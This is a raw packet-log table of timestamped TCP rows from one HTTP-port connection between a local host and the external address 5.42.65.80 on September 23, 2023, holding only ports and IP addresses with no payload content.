Sep 23, 2023 17:53:23.167582035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.167757988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167805910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167841911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.167864084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168179989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168224096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.168251038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168354988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168394089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.168633938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168735027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.168773890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.168800116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169094086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169135094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.169173956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169255018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169338942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.169636965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169655085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.169702053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.169713974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170135021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170176029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.170216084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170285940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170342922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.170471907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170944929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.170993090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.171052933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.171757936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.171806097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.171830893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.171895981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.171935081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.172122955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172218084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172265053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.172271013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172529936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172574997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.172580004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172703981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.172744989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.173887968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.174333096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.174382925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.179394007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.179610968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.179661036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.179693937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.179724932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.179778099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.179949045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180005074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180047989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.180099964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180453062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180497885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.180520058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180568933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180622101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.180896997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180944920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.180984020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.181010008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181432962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181473970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.181544065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181643963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181687117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.181746006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181823969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.181863070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.182158947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182214022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182252884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.182322025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182606936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182651043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.182689905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182760954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.182805061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.184170961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184274912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184323072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.184324980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184601068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184643030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.184652090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184709072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184750080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.184920073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184938908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.184981108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.185007095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185375929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185393095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185416937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.185483932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185524940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.185698032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185762882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.185801029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.185823917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.186039925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.186080933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.186119080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.186213017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.186249971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.188380957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190171957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190224886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.190239906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190526962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190566063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.190592051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190666914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190711021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.190825939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190887928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.190931082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.190970898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191200972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191245079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.191251993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191301107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191343069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.191498995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191540003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191576958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.191654921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191848040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.191893101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.191953897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.192214012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.192251921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.192956924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193044901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193092108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.193111897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193352938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193388939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.193443060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193691969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193728924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.193747997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193860054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.193901062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.194134951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194215059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194252014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.194291115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194536924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194575071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.194586039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194650888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.194686890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.194938898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195029020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195066929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.195137978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195549965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195593119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.195674896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195734978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.195776939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.196079969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.196149111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.196191072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.196252108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.199685097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.199733019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.199742079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.199758053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.199804068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.200002909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200076103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200113058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.200129032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200683117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200723886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200727940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.200793028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200829029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.200902939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.200989008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201024055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.201049089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201273918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201311111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.201350927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201400042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201437950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.201626062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201706886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201746941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.201756954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.201997995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202034950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.202073097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202090025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202131033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.202393055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202460051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202476025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.202498913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.202959061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.203001976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.203039885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.203114033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.203150034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.203530073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.203613043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.203655005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.203680038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204343081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204384089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.204407930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204813957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204878092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.204881907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204953909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.204992056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.205841064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.205913067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.205967903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.205993891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.206543922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.206589937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.206790924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.206825972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.206867933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.207161903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.207237005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.207273960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.207360029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.207884073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.207918882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.207927942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.207967043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.208003044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.209199905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209253073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209295988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.209307909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209738970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209779024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209779978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.209809065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.209850073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.210403919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.210465908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.210506916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.210531950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.211158037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.211203098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.211229086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.211246967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.211282969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.211922884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.211980104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.212019920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.212025881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.212634087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.212680101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.212749004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.212840080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.212879896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.213606119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.213640928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.213680983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.213697910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.214095116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.214131117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.214158058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.214219093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.214255095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.214961052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215013981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215059996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.215080023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215663910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215704918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.215725899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215758085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.215796947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.216424942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.216519117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.216562033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.216586113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217328072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217376947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.217403889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217741013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217787027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217787981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.217847109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.217886925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.218502045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.218550920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.218590975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.218655109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.219245911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.219296932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.219300985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.219360113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.219397068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.220019102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.220171928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.220215082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.220227003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.220916033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.220964909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.220968962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.221031904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.221069098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.221568108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.221991062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.222035885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.222047091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.222485065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.222526073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.222564936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.222604036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.222646952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.223252058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.223295927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.223339081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.223402977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.223871946 CEST	80	49781	5.42.65.80	192.168.2.4
